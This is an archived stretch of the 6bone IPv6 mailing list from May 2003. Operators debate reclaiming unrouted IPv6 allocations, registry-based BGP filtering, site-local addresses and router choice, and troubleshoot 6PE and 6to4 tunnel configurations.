> > On måndag, maj 12, 2003, at 21:33 Europe/Stockholm, Gert
> > Doering wrote:
> >
> > >>
> > >> 500 TLA's over 54 countries!
> > >
> > > Oh, wow.  Very impressive, this!
> >
> > Maybe we actually will hit 1000 rotues! :-)
> >
> > Another thing though :
> >
> >          4   790  829408  440969    18406    0    0 2w5d 424
> >
> >
> > I only see 424 of these though. Anyone that have already started
> > mapping the times of when an allocation is made and when it
> > first shows up in the routing table?
>
>http://www.sixxs.net/tools/grh/tla/
>
>With last seens atm, got to fish the first seens from
>the archive (show up as empty now). They will pop up
>later today :) Note that a 'first seen' is not very useful
>as it could pop up for a couple of minutes (even due to
>routing troubles) and then fade away again...
>When you follow the link behind the 'lastseen' you will see
>all the marks made where the prefix was originating from
>and over how many ASPaths it was detected.

This keeps turning into an ever more useful page.  Kudos to the author!

What are the RIRs doing to reclaim all those "red" lines of allocations 
that have never once appeared in a routing table?  I would say all 
assignments from before Jan 2002 and that have "never" in the "last seen" 
column are ripe for revocation.  Question is, why hasn't this been done 
before and has this been discussed so far?

-Hank


>Greets,
>  Jeroen
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From bmanning@ISI.EDU Wed May 14 23:29:45 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <5.1.0.14.2.20030515085141.010340b0@max.att.net.il> from Hank Nussbacher at "May 15, 3 08:57:08 am"
To: hank@att.net.il (Hank Nussbacher)
Date: Wed, 14 May 2003 23:29:40 -0700 (PDT)
Cc: jeroen@unfix.org, 6bone@ISI.EDU, ipv6-wg@ripe.net
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% >http://www.sixxs.net/tools/grh/tla/
% >
% >With last seens atm, got to fish the first seens from
% >the archive (show up as empty now). They will pop up
% >later today :) Note that a 'first seen' is not very useful
% >as it could pop up for a couple of minutes (even due to
% >routing troubles) and then fade away again...
% >When you follow the link behind the 'lastseen' you will see
% >all the marks made where the prefix was originating from
% >and over how many ASPaths it was detected.
% 
% This keeps turning into an ever more useful page.  Kudos to the author!
% 
% What are the RIRs doing to reclaim all those "red" lines of allocations 
% that have never once appeared in a routing table?  I would say all 
% assignments from before Jan 2002 and that have "never" in the "last seen" 
% column are ripe for revocation.  Question is, why hasn't this been done 
% before and has this been discussed so far?
% 
% -Hank

	Well, in at least one case, 2001:0478, you should never
	see a /32 or /35  announcement.   This prefix is used
	for exchange points and critical infrastructure and is 
	delegated as /48s 

 
--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From andyf@penfold.noc.clara.net Thu May 15 01:25:59 2003
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Date: Thu, 15 May 2003 09:25:44 +0100
From: Andy Furnell <andy@ipng.org.uk>
To: David Kessens <david@IPRG.nokia.com>
Cc: 6Bone <6bone@mailman.isi.edu>
Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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On Wed, May 14, 2003 at 07:00:18AM -0700, David Kessens wrote:
> 
> 
> Andy,
> 
> On Mon, May 12, 2003 at 07:37:46AM +0100, Andy Furnell wrote:
> > 
> > This is a nice idea, but given that there's no IPv6 routing registry,
> > the administrative overhead of manually generating filters can get
> > seriously cumbersome (especially given that IPv6 efforts for most
> > providers still seem to be done on a part-time basis).
> 
> This is not entirely true. The 6bone registry does contain routing
> information.
> 
> You can build filters using the 'prefix:' and 'origin:' attributes of
> the 6bone registry (note that multiple prefixes are allowed in the
> 'prefix:' attribute).
> 
> However, just as with the ipv4 routing registry, this might not be a
> good idea to do with peers because of the absence of a netpolice
> department that enforces (correct) registrations in the registry (you
> should be able to enforce consistent data for your customers though).
> 
> David K.

Not just this, but any information in these objects is instantly
devalued as I can see no hierarchical authentication system in place
(i.e. there's nothing to stop me putting whatever the hell I want in my
ipv6site object... if my peers/upstreams are building their filters
automagically from this information I've just gained the ability to
hijack whatever space I want :)

Interesting note about the RPSLng from Gert... Hopefully if the RIRs 
are able to adopt this quickly, enough pressure can be placed on ISPs 
to make sure their objects are kept up to date from the very beginning.

Andy

-- 
Andy Furnell
andy@ipng.org.uk

From hank@att.net.il Fri May 16 02:12:28 2003
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From: Hank Nussbacher <hank@att.net.il>
To: leo vegoda <leo@ripe.net>
Cc: 6bone@mailman.isi.edu, ipv6-wg@ripe.net
Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
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On Fri, 16 May 2003, leo vegoda wrote:

> Hank Nussbacher <hank@att.net.il> writes:
> 
> [...]
> 
> >What are the RIRs doing to reclaim all those "red" lines of allocations
> >that have never once appeared in a routing table?I would say all 
> >assignments from before Jan 2002 and that have "never"in the "last
> >seen" column are ripe for revocation.Question is, why hasn't this 
> >been done before and has this been discussed so far?
> 
> Is there a policy requirement that IPv6 prefixes allocated by RIRs must
> be routed on The Internet? I've not found it in the current "IPv6
> Address Allocation and Assignment Policy".

Is there such a requirement for IPv4 prefixes?  If yes (and I would hope
so, otherwise why would anyone want RFC1918 addresses when one can get
"real" IPs), then I think the same should apply for IPv6 prefixes.  

> 
> Regards,
> 
> --
> leo vegoda
> RIPE NCC
> Registration Services
> 

-Hank


From bmanning@ISI.EDU Fri May 16 05:31:50 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <Pine.A41.4.10_heb2.08.10305161203450.49930-100000@MaX.att.net.il> from Hank Nussbacher at "May 16, 3 12:05:23 pm"
To: hank@att.net.il (Hank Nussbacher)
Date: Fri, 16 May 2003 05:31:45 -0700 (PDT)
Cc: leo@ripe.net, 6bone@ISI.EDU, ipv6-wg@ripe.net
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% > Is there a policy requirement that IPv6 prefixes allocated by RIRs must
% > be routed on The Internet? I've not found it in the current "IPv6
% > Address Allocation and Assignment Policy".
% 
% Is there such a requirement for IPv4 prefixes?  If yes (and I would hope
% so, otherwise why would anyone want RFC1918 addresses when one can get
% "real" IPs), then I think the same should apply for IPv6 prefixes.  
% 
% > leo vegoda
% 
% -Hank

	there has never been a requirement that a prefix be routed or
	announced on the "Internet".  

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From hank@att.net.il Fri May 16 06:08:47 2003
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To: Bill Manning <bmanning@ISI.EDU>
Cc: leo@ripe.net, 6bone@ISI.EDU, ipv6-wg@ripe.net
Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
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On Fri, 16 May 2003, Bill Manning wrote:

> % > Is there a policy requirement that IPv6 prefixes allocated by RIRs must
> % > be routed on The Internet? I've not found it in the current "IPv6
> % > Address Allocation and Assignment Policy".
> %
> % Is there such a requirement for IPv4 prefixes?If yes (and I would hope
> % so, otherwise why would anyone want RFC1918 addresses when one can get
> % "real" IPs), then I think the same should apply for IPv6 prefixes.
> %
> % > leo vegoda
> %
> % -Hank
> 
> 	there has never been a requirement that a prefix berouted or
> 	announced on the "Internet".

In that case why does an ISP have to:

5.1.1.d: have a plan for making at least 200 /48 assignments to other
organisations within two years.
See: http://www.ripe.net/ripe/docs/ipv6policy.html

-Hank

> 
> --bill
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
> 

Hank Nussbacher



From gert@Space.Net Fri May 16 06:10:52 2003
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From: Gert Doering <gert@space.net>
To: Bill Manning <bmanning@ISI.EDU>
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Hi,

On Fri, May 16, 2003 at 05:31:45AM -0700, Bill Manning wrote:
> 	there has never been a requirement that a prefix be routed or
> 	announced on the "Internet".  

Yes, and 32 bits are enough for everybody :-)

So maybe now is the time to look upon the way things have been done
in the past and consider "is that the way we want to do them in the
future"?

The IPv6 policy as it stands now (which doesn't say that it's cast in
stone or that it's a perfect policy - beware) gives IPv6 address space
to entities that claim that they are going to use it to facilitate 
internet access for (200 and more) 3rd parties.

So if that address space isn't visible, the prerequisites are not
fulfilled, obviously, and it would be in the boundaries of the policy
to take the address space back.

As of today, I do not think that's useful.  Why?  Because people might
just be slow in building their IPv6 networks, or have put their
projects on hold (due to financial reasons).  So being overly restrictive
here is just hurting IPv6 deployment, for no gain.

Something worth to do for someone with too much time on their hand is
to figure out whether those companies that have non-visible address
space actually still exist, or whether they went under - in which case
it would kind of "automatically" fall back to the registry.

But then this is certainly not a high priority job for the *registries*
- they have more important forward thinking to do.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Fri May 16 06:13:30 2003
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From: Gert Doering <gert@space.net>
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Hi,

On Fri, May 16, 2003 at 12:05:23PM +0300, Hank Nussbacher wrote:
> Is there such a requirement for IPv4 prefixes?  If yes (and I would hope
> so, otherwise why would anyone want RFC1918 addresses when one can get
> "real" IPs), then I think the same should apply for IPv6 prefixes.  

For IPv4, it's not a requirement.

There are certain cases where uniqueness of IP addresses is a MUST (think
"VPN connections in large enterprises" - RFC space quite often just leads to 
collisions and double NAT and more problems), but routeability in the
network out there is really not needed, sometimes explicitely not wanted.

For IPv4 *PA* space, it's kind of implicit, as the whole purpose of
that is to facilitate internet access for an ISP and his customers.

Nevertheless the same rule applies: sufficient reason to get address
space is "uniquely number machines", not "make them visible outside"
(BTDT).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Fri May 16 06:19:09 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
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% > 
% > 	there has never been a requirement that a prefix berouted or
% > 	announced on the "Internet".
% 
% In that case why does an ISP have to:
% 
% 5.1.1.d: have a plan for making at least 200 /48 assignments to other
% organisations within two years.
% See: http://www.ripe.net/ripe/docs/ipv6policy.html
% 
% -Hank

	One might ask Ripe... :)
	Of course, even if an entity does execute on its plan and 
	makes at least 2002 /48 assignments to other organisations,
	what requirement is there that they (in toto) route/announce
	this prefix to anyone else?

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Fri May 16 06:20:56 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <20030516151048.X67740@Space.Net> from Gert Doering at "May 16, 3 03:10:48 pm"
To: gert@space.net (Gert Doering)
Date: Fri, 16 May 2003 06:20:24 -0700 (PDT)
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% Hi,
% 
% On Fri, May 16, 2003 at 05:31:45AM -0700, Bill Manning wrote:
% > 	there has never been a requirement that a prefix be routed or
% > 	announced on the "Internet".  
% 
% So if that address space isn't visible, the prerequisites are not
% fulfilled, obviously, and it would be in the boundaries of the policy
% to take the address space back.

	Visable to whom?  

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From gert@Space.Net Fri May 16 06:35:44 2003
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From: Gert Doering <gert@space.net>
To: Bill Manning <bmanning@ISI.EDU>
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Hi,

On Fri, May 16, 2003 at 06:20:24AM -0700, Bill Manning wrote:
> % So if that address space isn't visible, the prerequisites are not
> % fulfilled, obviously, and it would be in the boundaries of the policy
> % to take the address space back.
> 	Visable to whom?  

To the majority of the internet users (as you insist on claiming that
there is nothing as "the global routing table").

The Internet is an *Inter*network.  It's about connecting all of it
together, not building small splinter networks that have no connectivity.

There is currently no provision in the IPv6 policy for people that just
want some local/VPN connectivity and no global routing.  Maybe that needs
changing as well.  (Site-locals had some potential for "local" things,
but they are dead, as far as I understand).  David, could you put that
on your list of things to consider?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Fri May 16 06:43:50 2003
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On Fri, May 16, 2003 at 03:35:41PM +0200, Gert Doering wrote:
> 
> The Internet is an *Inter*network.  It's about connecting all of it
> together, not building small splinter networks that have no connectivity.
> There is currently no provision in the IPv6 policy for people that just
> want some local/VPN connectivity and no global routing.  Maybe that needs
> changing as well.  (Site-locals had some potential for "local" things,
> but they are dead, as far as I understand).  David, could you put that
> on your list of things to consider?

Absolutely, indeed if we're deprecating site locals, and its associated
/10 prefix, we should probably be able to get /32 size globally unique 
prefixes that can be used in otherwise disconnected networks?  (e.g. a large 
sensor network used by a utility provider)   This seems a natural
consequence of such a deprecation.

Tim

From kim@tac.nyc.ny.us Fri May 16 07:17:13 2003
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 from Gert Doering on Fri, 16 May 2003 15:35:41 +0200
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I've used IPv4 space in the past to connect to extranet providers using
unique addresses, without connecting to the Internet.  Is such use not
allowed in the IPv6 world?  One must promise to advertise the addresses
to the Internet to get an allocation?  End to extranet providers?

+ Kim


| From:    Gert Doering <gert@space.net>
| Date:    Fri, 16 May 2003 15:35:41 +0200
|
| Hi,
|
| On Fri, May 16, 2003 at 06:20:24AM -0700, Bill Manning wrote:
| > % So if that address space isn't visible, the prerequisites are not
| > % fulfilled, obviously, and it would be in the boundaries of the policy
| > % to take the address space back.
| > 	Visable to whom?
|
| To the majority of the internet users (as you insist on claiming that
| there is nothing as "the global routing table").
|
| The Internet is an *Inter*network.  It's about connecting all of it
| together, not building small splinter networks that have no connectivity.
|
| There is currently no provision in the IPv6 policy for people that just
| want some local/VPN connectivity and no global routing.  Maybe that needs
| changing as well.  (Site-locals had some potential for "local" things,
| but they are dead, as far as I understand).  David, could you put that
| on your list of things to consider?
|
| Gert Doering
|         -- NetMaster
| --
| Total number of prefixes smaller than registry allocations:  54495  (54267)
|
| SpaceNet AG                 Mail: netmaster@Space.Net
| Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
| 80807 Muenchen              Fax : +49-89-32356-299
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From gert@Space.Net Fri May 16 07:22:10 2003
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Hi,

On Fri, May 16, 2003 at 10:17:11AM -0400, Kimmo Suominen wrote:
> I've used IPv4 space in the past to connect to extranet providers using
> unique addresses, without connecting to the Internet.  Is such use not
> allowed in the IPv6 world?  One must promise to advertise the addresses
> to the Internet to get an allocation?  End to extranet providers?

I wouldn't go so far as to say "it's not allowed".

What I am saying is that the current IPv6 allocation policy was made with
the needs of people in mind that want to connect to "the global Internet",
so there is no clear answer how to fulfill those people's needs.

When the policy was made, people were still suggesting the use of
site-local addresses for "non-global" usage.  Site-locals seem to be
dead, so there is a hole in the policies right now.

Passing on the question from the registry point of view to the IETF
people (Michael & co): what are your recommendations how this can be
addressed (in the double sense)?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Fri May 16 08:10:07 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter  recommendation
In-Reply-To: <20030516153541.C67740@Space.Net> from Gert Doering at "May 16, 3 03:35:41 pm"
To: gert@space.net (Gert Doering)
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% Hi,
% 
% On Fri, May 16, 2003 at 06:20:24AM -0700, Bill Manning wrote:
% > % So if that address space isn't visible, the prerequisites are not
% > % fulfilled, obviously, and it would be in the boundaries of the policy
% > % to take the address space back.
% > 	Visable to whom?  
% 
% To the majority of the internet users (as you insist on claiming that
% there is nothing as "the global routing table").

	does that majority have to include you or I?
	and show me the global routing table please?

% The Internet is an *Inter*network.  It's about connecting all of it
% together, not building small splinter networks that have no connectivity.

	The Internet in one mesh of interconected networks that run 
	the IP protocol suite.  There are others.  Military networks,
	Closed commercial networks, Financial networks, Research networks,
	... its a long list.  

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From michel@arneill-py.sacramento.ca.us Fri May 16 08:50:48 2003
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> Kimmo Suominen wrote:
> I've used IPv4 space in the past to connect to extranet
> providers using unique addresses, without connecting to the
> Internet. Is such use not allowed in the IPv6 world? One
> must promise to advertise the addresses to the Internet to
> get an allocation?

Although this is blurry (no explicit requirement) we can say that as of
today, yes. But the space LIRs get is big enough to provide both
Internet and extranet services. I don't see any extranet-only provider
getting address space now though, and for multiple reasons.


> Gert Doering wrote:
> I wouldn't go so far as to say "it's not allowed".

Me neither. Actually, I don't see why it should be forbidden, as long as
one obtains the address space, which is the issue here.


> When the policy was made, people were still suggesting the use
> of site-local addresses for "non-global" usage.  Site-locals
> seem to be dead, so there is a hole in the policies right now.
> Passing on the question from the registry point of view to the
> IETF people (Michael & co): what are your recommendations how
> this can be addressed (in the double sense)?

[disclaimer: I do not represent the views of the IETF]

This is a complex answer.

First, let's not leave site-locals for dead yet. Technically, we do have
site-locals using the "full usage" model, as defined by RFC 3513 that
was just published. The current situation is that there is a "consensus"
to deprecate them, which has pissed so many people that appeals are
lined up for the next 2 years already (take-a-number if you want to
appeal).
There is no actual text to remove site-locals and it is expected that
any text that would attempt to do that will be stalled and never go
forward.

In short: technically speaking we currently do have site-locals with an
RFC in the standards track and I don't expect any change any time soon.

That being said, the reason we got into this deadlock is that
site-locals as currently defined do not please many people. If there is
change in leadership within the IETF and work on site-locals is resumed
(instead of trying to get "my way or no way") it is expected that
site-locals will be restricted to a model that prohibits communication
between sites.

So, in any case I would not use site-locals for communication between
sites. There are ideas floating around to make them globally unique, but
this is for the purpose of avoiding renumbering when merging sites and
not to provide site-to-site communication. Global addresses are required
for that purpose, whether or not they are publicly routed or not.

There are several proposals to provide PI-like addresses that are moving
forward though.

Michel.


From clazo@inf.uach.cl Fri May 16 09:19:31 2003
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Hello list.
I am working in  proyect for install ipv6 in my country (Chile)

the questions is=20

What is the best router for IPv6, Cisco or Juniper?

say me your experience...
In this moment my router is Linux+Zebra  and my pTLA is 3ffe:400f::/32

thanx

Christian.
************
Hola lista
estoy trabajando en un proyecto para instalar ipv6 en Chile
la pregunta es=20
cual es el mejos router para IPv6, Cisco o Juniper?
cuentenme vustra experiencia....
En este momento mi router es un linux con Zebra y my pTLA es =
3ffe:400f::/32
gracias


Christian.


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charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello list.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I am working in&nbsp; proyect for =
install ipv6 in=20
my country (Chile)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>the questions is </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What is the best router for IPv6, Cisco =
or=20
Juniper?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>say me your experience...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>In this moment my router is =
Linux+Zebra&nbsp; and=20
my pTLA is 3ffe:400f::/32</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanx</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Christian.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>************</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Hola lista</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>estoy trabajando en un proyecto para =
instalar ipv6=20
en Chile</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>la pregunta es </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>cual es el mejos router para IPv6, =
Cisco o=20
Juniper?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>cuentenme vustra =
experiencia....</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>En este momento mi router es un linux =
con Zebra y=20
my pTLA es 3ffe:400f::/32</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>gracias</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Christian.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

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From michel@arneill-py.sacramento.ca.us Fri May 16 14:24:50 2003
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Editorial:
[ARCH]     Hinden, R., S. Deering, "IP Version 6 Addressing
                Architecture", Internet Draft, <draft-ietf-ipngwg-addr-
                arch-v3-11.txt>, October 2002.

Should be replaced with RFC 3513.


Substantial:
No further comments, should ship as soon as convenient.

Michel.


From dr@cluenet.de Fri May 16 19:13:47 2003
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Date: Sat, 17 May 2003 04:13:44 +0200
From: Daniel Roesen <dr@cluenet.de>
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Subject: Re: [6bone] Cisco or Juniper?
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On Fri, May 16, 2003 at 12:23:24PM -0400, Christian Lazo  R. wrote:
> What is the best router for IPv6, Cisco or Juniper?

Juniper. You get production-quality software which runs IPv4 and
IPv6 nicely along together.

With Cisco, you have to run experimental software (although 12.2S is
getting in the right direction and gives some hope). Most ISPs which
are "doing some" IPv6 with Cisco tend to use seperate routers for IPv4
and IPv6 because they don't want to jeopardize IPv4 stability by using
IOS 12.2T or 12.2S. People start to become more confident in IOS 12.2S
though and begin to merge IPv4 and IPv6 routing platforms as 12.2S
looks not-too-bad.

My strong recommendation goes for Vendor J.


Regards,
Daniel (speaking only for himself)

From ytti@songnet.fi Sat May 17 03:32:13 2003
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I have 6PE speakers one of those is also RR, also I have one non 6PE. Also
there are 3 native eBGP peers.

When 6PE peers and 3 native eBGP peers are up everything works as expected.
But when I setup peering with the 6PE RR and my non 6PE router 6PE peers
start to go up/down.

On 6PE this can be observed:
May 17 10:20:13 UTC: %BGP-5-ADJCHANGE: neighbor 6PE-RR Up 
May 17 10:20:19 UTC: %BGP-5-ADJCHANGE: neighbor 6PE-RR Down BGP
Notification sent
May 17 10:20:19 UTC: %BGP-3-NOTIFICATION: sent to neighbor 6PE-RR
3/10 (illegal network) 1 bytes 10 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 0066
0200 0000 4F40 0101 0040 0200 8004 0400 0000 0040 0504 0000 0064 800A 0400
0027 1080 0904 3EEC 20CB 800E 2900 0204 1020 0106 E800 00FF FE00 0000 0000
0000 0100 8020 0106 E800 00FF FF00 0000 0000 0000 0210 2002

On 6PE-RR I see that the peering is on as long as there is somethng
in the OutQ after it has been drained peering does down and back up.
The native IPv6 peer works normally and if I remove it everything
else works as expected.

Do I need to use confereration to combine 6PE and native clouds in RR?

Also has anyone succeeded running IPv6 in cisco 7200 port-channel?
-- 
   ++ytti, NOC monkey

From ple@graduate.kmitl.ac.th Sun May 18 07:11:46 2003
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Date: Sun, 18 May 2003 21:11:36 +0700
From: Warodom Werapun <ple@graduate.kmitl.ac.th>
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Hello,

    I like to test 'anycast' address of IPv6.
Could anyone tell me, how could I test it?

eg.
If I ping the anycast IPv6 address of computer.
When that computer was down.
Can it discovery new nearest node?

Now, my computer is IPv6 ready. [using Redhat 8.0 with patch kernel IPv6]
In contrast, I don't know all things about how to configure anycast address.
I try to search in WWW, but no any infomation tell me about how to set 
it up.
There are only infomation about how anycast address work.

Thank you for your reply,
- Warodom  Werapun


From ytti@songnet.fi Sun May 18 07:55:25 2003
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To: Warodom Werapun <ple@graduate.kmitl.ac.th>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ?IPv6 anycast...
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On (2003-05-18 21:11 +0700), Warodom Werapun wrote:

>    I like to test 'anycast' address of IPv6.
> Could anyone tell me, how could I test it?

On linux:
ip link set sit0 up;ip addr add $(printf "2002:%02x%02x:%02x%02x::1" $(ip
route get 192.88.99.1|head -n1|sed 's/\./ /g'|sed 's/.*src \([0-9
]\+\).*/\1/')) dev sit0;ip -6 route add 2000::/3 via ::192.88.99.1

If that is not working you need to specify explicitly the 6to4 router,
6to4.sn.net might work :>

Read rfc3068 for good explanation.

-- 
   ++ytti, NOC monkey

From bob@thefinks.com Sun May 18 10:23:58 2003
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At 02:24 PM 5/16/2003 -0700, Michel Py wrote:
>Editorial:
>[ARCH]     Hinden, R., S. Deering, "IP Version 6 Addressing
>                 Architecture", Internet Draft, <draft-ietf-ipngwg-addr-
>                 arch-v3-11.txt>, October 2002.
>
>Should be replaced with RFC 3513.

Thanks.

I'll be getting the final (I hope) version out for forwarding this week.


Bob 


From pim@ipng.nl Sun May 18 12:26:07 2003
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From: Pim van Pelt <pim@ipng.nl>
To: "Christian Lazo  R." <clazo@inf.uach.cl>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Cisco or Juniper?
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On Fri, May 16, 2003 at 12:23:24PM -0400, Christian Lazo  R. wrote:
| Hello list.
| I am working in  proyect for install ipv6 in my country (Chile)
| 
| the questions is 
| 
| What is the best router for IPv6, Cisco or Juniper?
Juniper. The methods in which the IP2 handles incoming l2 frames makes
the machine have unparalelled performance with filtering, forwarding,
sampling, etc, of IPv6 frames. I have both Cisco 7200/7500 and Juniper
based boxes in my network and I'm undoubtedly in favor of Juniper at
this point in time.
Some of the important (for me at least) features are, that all boxes 
share the same boot image. Each and every feature is guaranteed to
function without performance issues, fully in hardware. The box runs a
well documented and extremely lucid CLI which is totally interactable
via XML (over ssh, ssl or plain text), even remotely via perl plugins.
The box runs BSD as an operating system, which gives you full control 
over the router if you're used to Linux+Zebra.

The cost of ownership as opposed to a ESR/GSR series router from Cisco
is reasonable, but still take into account 40-50K USD for a small box.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From ple@graduate.kmitl.ac.th Sun May 18 20:24:27 2003
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From: Warodom Werapun <ple@graduate.kmitl.ac.th>
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To: Saku Ytti <ytti@teliafi.net>
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Subject: Re: [6bone] ?IPv6 anycast...
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Saku Ytti wrote:

>>   I like to test 'anycast' address of IPv6.
>>Could anyone tell me, how could I test it?
>>    
>>
>On linux:
>ip link set sit0 up;ip addr add $(printf "2002:%02x%02x:%02x%02x::1" $(ip
>route get 192.88.99.1|head -n1|sed 's/\./ /g'|sed 's/.*src \([0-9
>]\+\).*/\1/')) dev sit0;ip -6 route add 2000::/3 via ::192.88.99.1
>
   
    It does not work yet.  There is error message " No route to host".

Nomally, I use 3ffe:b80:2:f5df::2 as my IPv6 address.
And I already had 2000::/3 in routing table.

------------------------------------------------------
[root@graduate67 root]# ping6 www.kame.net
PING www.kame.net(orange.kame.net) 56 data bytes
64 bytes from orange.kame.net: icmp_seq=1 ttl=55 time=625 ms

[root@graduate67 root]# ifconfig eth0 |grep inet
          inet addr:161.246.6.217  Bcast:161.246.6.255  Mask:255.255.255.0
          inet6 addr: fe80::260:67ff:fe66:b459/10 Scope:Link
          inet6 addr: 3ffe:b80:14fe:1::1/64 Scope:Global

[root@graduate67 root]# ifconfig sit1
sit1      Link encap:IPv6-in-IPv4
          inet6 addr: fe80::a1f6:6d9/10 Scope:Link
          inet6 addr: 2002::1/128 Scope:Global
          inet6 addr: 3ffe:b80:2:f5df::2/128 Scope:Global
          inet6 addr: 2002:a100::1/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP  MTU:1480  Metric:1
          RX packets:58 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:36282 (35.4 Kb)  TX bytes:9740 (9.5 Kb)


[root@graduate67 root]# more anycast.sh
ip link set sit1 up;ip addr add $(printf "2002:%02x%02x:%02x%02x::1" 
$(ip route get 161.246.6.217 |head -n1|sed 's/\./ /g'|sed
 's/.*src \([0-9]\+\).*/\1/')) dev sit1;ip -6 route add 2000::/3 via 
::161.246.6.217

echo "ip link set sit1 up;ip addr add $(printf 
"2002:%02x%02x:%02x%02x::1" $(ip route get 161.246.6.217 |head -n1|sed 
's/\./ /
g'|sed 's/.*src \([0-9]\+\).*/\1/')) dev sit1;ip -6 route add 2000::/3 
via ::161.246.6.217 "

[root@graduate67 root]# ./anycast.sh
RTNETLINK answers: No route to host
ip link set sit1 up;ip addr add 2002:a100:0000::1 dev sit1;ip -6 route 
add 2000::/3 via ::161.246.6.217
------------------------------------------------------


Does anycast IPv6 address need to begin with 2002:a100 prefix?
Or anycast can be any Unicast addr number, is it?
So, Does anycast involve with the routing only?

Best Regards,
- Warodom  Werapun


From gert@Space.Net Mon May 19 04:09:11 2003
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Subject: Re: [6bone] RE: [ipv6-wg@ripe.net] Update on IPv6 filter recommendation
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Hi,

ok, now to followup on this:

On Tue, May 13, 2003 at 09:13:04PM -0700, Michel Py wrote:
> > I have just added an update to the "strict" filter list of
> > my IPv6 filter list recommendations on
> > http://www.space.net/~gert/RIPE/ipv6-filters.html
[..]
> > ipv6 prefix-list ipv6-ebgp-strict permit 2001:500::/32 ge 48 le 48
> 
> It would be interesting to have more refinement here. What I mean is
> that I would be open to allow a /48 that contains a root server but not
> a /48 that serves an IXP. More details/specifics to what is inside
> 2001:500::/32 would be appreciated.

Unfortunately the ARIN database is too broken to permit queries like
"tell me everything inside 2001:500::/32" (the RIPE and APNIC databases
do this just fine).  So you'll have to check them manually - tedious - 
or check 

     http://www.arin.net/registration/ipv6/micro_alloc.html.

